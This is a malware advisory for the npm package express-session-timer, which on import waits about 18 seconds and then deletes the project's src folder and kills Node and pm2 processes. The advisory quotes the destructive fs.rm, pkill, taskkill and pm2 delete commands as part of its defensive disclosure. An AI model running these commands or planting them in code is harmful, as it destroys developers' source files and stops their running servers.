MAL-2026-16065
Malicious code in express-session-timer (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f) express-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `<cwd>/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f "node.*${process.cwd()}"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.
Are you affected?
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Affected packages
No fixed version published yet for express-session-timer (npm). Pin to a known-safe version or switch to an alternative.
References
- https://www.npmjs.com/package/express-session-timer/v/1.0.0[PACKAGE]
- https://www.npmjs.com/package/express-session-timer/v/1.0.1[PACKAGE]
- https://www.npmjs.com/package/express-session-timer/v/1.0.13[PACKAGE]
- https://www.npmjs.com/package/express-session-timer/v/1.0.14[PACKAGE]
- https://www.npmjs.com/package/express-session-timer/v/1.0.16[PACKAGE]